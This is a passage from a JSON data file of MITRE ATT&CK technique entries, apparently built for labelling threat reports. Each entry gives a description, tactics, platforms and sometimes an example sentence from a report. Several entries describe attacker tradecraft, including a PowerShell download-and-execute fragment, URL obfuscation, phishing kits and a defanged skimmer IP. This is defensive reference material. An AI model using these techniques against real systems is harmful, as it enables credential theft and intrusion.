include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about users could also be enumerated via other active means (i.e. Active Scanning) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames. Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE\nLabeled report example: In the recent past, these domains resolved to the following IP addresses, each of which hosted newly registered domains lexically close to legitimate domains and possibly connected to the skimmer attacks." + }, + { + "id": "T1557", + "text": "ATT&CK technique: T1557 Adversary-in-the-Middle\nDescription: Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or replay attacks (Exploitation for Credential Access). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions. For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware. Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens (Steal Application Access Token) and session cookies (Steal Web Session Cookie). Downgrade Attacks can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm. Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in Transmitted Data Manipulation. Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to impair defenses and/or in support of a Network Denial of Service.\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: If macros are enabled, it will install and run The Trick, a trojan that intercepts and logs banking website visits to steal credentials." + }, + { + "id": "T1204", + "text": "ATT&CK technique: T1204 User Execution\nDescription: An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of Phishing. While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing. Adversaries may also deceive users into performing actions such as: * Enabling Remote Access Tools, allowing direct control of the system to the adversary * Running malicious JavaScript in their browser, allowing adversaries to Steal Web Session Cookies * Downloading and executing malware for User Execution * Coerceing users to copy, paste, and execute malicious code manually For example, tech support scams can be facilitated through Phishing, vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or Remote Access Tools.\nTactics: execution\nPlatforms: Containers, IaaS, Linux, Windows, macOS\nLabeled report example: Click the URL link." + }, + { + "id": "T1056", + "text": "ATT&CK technique: T1056 Input Capture\nDescription: Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture).\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: * The use of a legitimate but actor-compromised website is an increase in sophistication compared to TA453’s historical Tactics, Techniques, and Procedures of using actor-controlled credential phishing websites." + }, + { + "id": "T1185", + "text": "ATT&CK technique: T1185 Browser Session Hijacking\nDescription: Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques. A specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet. Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights. Another example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as Sharepoint or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.\nTactics: collection\nPlatforms: Windows\nLabeled report example: | T1185 | Man in the Browser |" + }, + { + "id": "T1036", + "text": "ATT&CK technique: T1036 Masquerading\nDescription: Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names. Renaming abusable system utilities to evade security monitoring is also a form of Masquerading.\nTactics: stealth\nPlatforms: Containers, ESXi, Linux, Windows, macOS\nLabeled report example: Currently, both of these NRDs are resolving to the same IP 34.125.186[.]248, which hosts multiple (possible) skimmer domains lexically close to legitimate services." + }, + { + "id": "T1539", + "text": "ATT&CK technique: T1539 Steal Web Session Cookie\nDescription: An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols. There are several examples of malware targeting cookies from web browsers on the local system. Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on User Execution by tricking victims into running malicious JavaScript in their browser. There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., Adversary-in-the-Middle) that can be set up by an adversary and used in phishing campaigns. After an adversary acquires a valid cookie, they can then perform a Web Session Cookie technique to login to the corresponding web application.\nTactics: credential access\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: It can steal credentials such as passwords, website cookies, credit card data, system information, and bitcoin wallet contents." + }, + { + "id": "T1189", + "text": "ATT&CK technique: T1189 Drive-by Compromise\nDescription: Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. Multiple ways of delivering exploit code to a browser exist (i.e., Drive-by Target), including: * A legitimate website is compromised, allowing adversaries to inject malicious code * Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary * Malicious ads are paid for and served through legitimate ad providers (i.e., Malvertising) * Built-in web application interfaces that allow user-controllable content are leveraged for the insertion of malicious scripts or iFrames (e.g., cross-site scripting) Browser push notifications may also be abused by adversaries and leveraged for malicious code injection via User Execution. By clicking \"allow\" on browser push notifications, users may be granting a website permission to run JavaScript code on their browser. Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or a particular region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring. Typical drive-by compromise process: 1. A user visits a website that is used to host the adversary controlled content. 2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. The user may be required to assist in this process by enabling scripting, notifications, or active website components and ignoring warning dialog boxes. 3. Upon finding a vulnerable version, exploit code is delivered to the browser. 4. If exploitation is successful, the adversary will gain code execution on the user's system unless other protections are in place. In some cases, a second visit to the website after the initial scan is required before exploit code is delivered. Unlike Exploit Public-Facing Application, the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\nTactics: initial access\nPlatforms: Identity Provider, Linux, Windows, macOS\nLabeled report example: The full list of web injects for this Osiris instance is shown [here](https://pastebin.com/tTxmjA1K)." + }, + { + "id": "T1190", + "text": "ATT&CK technique: T1190 Exploit Public-Facing Application\nDescription: Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration. Exploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet-accessible open sockets. On ESXi infrastructure, adversaries may exploit exposed OpenSLP services; they may alternatively exploit exposed VMware vCenter servers. Depending on the flaw being exploited, this may also involve Exploitation for Stealth or Exploitation for Client Execution. If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs (e.g., via the Cloud Instance Metadata API), exploit container host access via Escape to Host, or take advantage of weak identity and access management policies. Adversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses. For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.\nTactics: initial access\nPlatforms: Containers, ESXi, IaaS, Linux, Network Devices, Windows, macOS\nLabeled report example: Websites in the shopping category are the most common targets for skimmer attacks, but other URL categories have also fallen victim to these attacks, as shown in the following chart:" + }, + { + "id": "T1140", + "text": "ATT&CK technique: T1140 Deobfuscate/Decode Files or Information\nDescription: Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system. One such example is the use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. Another example is using the Windows copy /b or type command to reassemble binary fragments into a malicious payload. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.\nTactics: stealth\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: The decoded content shown in Figure 5 uses the meta-refresh tag to redirect the user to the target credential phishing site." + }, + { + "id": "T1583", + "text": "ATT&CK technique: T1583 Acquire Infrastructure\nDescription: Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Some infrastructure providers offer free trial periods, enabling infrastructure acquisition at limited to no cost. Additionally, botnets are available for rent or purchase. Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support Proxy, including from residential proxy services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.\nTactics: resource development\nPlatforms: PRE\nLabeled report example: Through the intelligence gathered from the Zscaler cloud, we discovered several newly registered domains that use VoIP and voicemail as themes for their credential-stealing phishing campaigns." + }, + { + "id": "T1567", + "text": "ATT&CK technique: T1567 Exfiltration Over Web Service\nDescription: Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services. Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.\nTactics: exfiltration\nPlatforms: ESXi, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: **Abusing legitimate communication and analytics services in skimmer attacks**" + }, + { + "id": "T1573", + "text": "ATT&CK technique: T1573 Encrypted Channel\nDescription: Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: SSL inspection is advisable to detect and block such threats using SSL to hide their malicious intent." + }, + { + "id": "T1105", + "text": "ATT&CK technique: T1105 Ingress Tool Transfer\nDescription: Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp. Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer). On Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, certutil, and PowerShell commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`. A number of these tools, such as `wget`, `curl`, and `scp`, also exist on ESXi. After downloading a file, a threat actor may attempt to verify its integrity by checking its hash value (e.g., via `certutil -hashfile`). Adversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts. Adversaries have also abused file application features, such as the Windows `search-ms` protocol handler, to deliver malicious files to victims through remote file searches invoked by User Execution (typically after interacting with Phishing lures). Files can also be transferred using various Web Services as well as native or otherwise present tools on the victim system. In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: | a=1 | Download web injects |" + }, + { + "id": "T1071", + "text": "ATT&CK technique: T1071 Application Layer Protocol\nDescription: Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, DNS, or publishing/subscribing. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: This is for several reasons: first, malicious traffic blends in more easily with legitimate traffic on standard protocols like HTTP/S; second, companies that rely on appliances for security often don’t inspect all SSL/TLS encrypted traffic as it is extremely resource-intensive to do so." + }, + { + "id": "T1491", + "text": "ATT&CK technique: T1491 Defacement\nDescription: Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. Reasons for Defacement include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of Defacement in order to cause user discomfort, or to pressure compliance with accompanying messages.\nTactics: impact\nPlatforms: ESXi, IaaS, Linux, Windows, macOS\nLabeled report example: These attacks are used for everything from data theft to site defacement to distribution of malware." + }, + { + "id": "T1614", + "text": "ATT&CK technique: T1614 System Location Discovery\nDescription: Adversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from System Location Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Adversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings. Windows API functions such as GetLocaleInfoW can also be used to determine the locale of the host. In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance. Adversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.\nTactics: discovery\nPlatforms: IaaS, Linux, Windows, macOS\nLabeled report example: The Default\\_send function is responsible for collecting the URL of the infected page and grabbing all the inputs provided by the victim who is shopping on the compromised website." + }, + { + "id": "T1059", + "text": "ATT&CK technique: T1059 Command and Scripting Interpreter\nDescription: Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell. There are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic. Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.\nTactics: execution\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: *Figure 6: Phishing landing page referencing an externally hosted JavaScript to load phishing content*" + }, + { + "id": "T1132", + "text": "ATT&CK technique: T1132 Data Encoding\nDescription: Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems. Some data encoding systems may also result in data compression, such as gzip.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: The skimmer script has a Base64-encoded fake payment page and skimmed data is sent to the attacker-controlled domain." + }, + { + "id": "T1598", + "text": "ATT&CK technique: T1598 Phishing for Information\nDescription: Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from Phishing in that the objective is gathering data from the victim rather than executing malicious code. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns. Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means. Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information. Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools. Phishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1594", + "text": "ATT&CK technique: T1594 Search Victim-Owned Websites\nDescription: Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: Email Addresses). These sites may also have details highlighting business operations and relationships. Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Trusted Relationship or Phishing). In addition to manually browsing the website, adversaries may attempt to identify hidden directories or files that could contain additional sensitive information or vulnerable functionality. They may do this through automated activities such as Wordlist Scanning, as well as by leveraging files such as sitemap.xml and robots.txt.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1598.003", + "text": "ATT&CK technique: T1598.003 Spearphishing Link\nDescription: Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1590", + "text": "ATT&CK technique: T1590 Gather Victim Network Information\nDescription: Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations. Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1593.001", + "text": "ATT&CK technique: T1593.001 Social Media\nDescription: Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff. Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. Spearphishing Service). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Spearphishing via Service).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1591.004", + "text": "ATT&CK technique: T1591.004 Identify Roles\nDescription: Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1596.003", + "text": "ATT&CK technique: T1596.003 Digital Certificates\nDescription: Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location. Adversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates. Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1593", + "text": "ATT&CK technique: T1593 Search Open Websites/Domains\nDescription: Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts. Adversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: External Remote Services or Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1593.002", + "text": "ATT&CK technique: T1593.002 Search Engines\nDescription: Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes). Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Valid Accounts or Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1590.003", + "text": "ATT&CK technique: T1590.003 Network Trust Dependencies\nDescription: Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1589.001", + "text": "ATT&CK technique: T1589.001 Credentials\nDescription: Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts. Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via Phishing for Information. Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors. Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP). Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: Search Engines, breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1608.005", + "text": "ATT&CK technique: T1608.005 Link Target\nDescription: Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in Malicious Link. Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in Spearphishing Link) or a phish to gain initial access to a system (as in Spearphishing Link), an adversary must set up the resources for a link target for the spearphishing link. Typically, the resources for a link target will be an HTML page that may include some client-side script such as JavaScript to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during Spearphishing Link. Adversaries may also Upload Malware and have the link target point to malware for download/execution by the user. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Malicious Link. Links can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing. Adversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages. In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links). Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1659", + "text": "ATT&CK technique: T1659 Content Injection\nDescription: Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., Drive-by Target followed by Drive-by Compromise), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., Ingress Tool Transfer) and other data to already compromised systems. Adversaries may inject content to victim systems in various ways, including: * From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from Adversary-in-the-Middle, which describes AiTM activity solely within an enterprise environment) * From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server Content injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with \"lawful interception.\"\nTactics: command and control, initial access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1584.008", + "text": "ATT&CK technique: T1584.008 Network Devices\nDescription: Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not Initial Access to that environment, but rather to leverage these devices to support additional targeting. Once an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for Phishing campaigns (i.e., Link Target) or enabling the required access to execute Content Injection operations. Adversaries may also be able to harvest reusable credentials (i.e., Valid Accounts) from compromised network devices. Adversaries often target Internet-facing edge devices and related network appliances that specifically do not support robust host-based defenses. Compromised network devices may be used to support subsequent Command and Control activity, such as Hide Infrastructure through an established Proxy and/or Botnet network.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1591", + "text": "ATT&CK technique: T1591 Gather Victim Org Information\nDescription: Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial 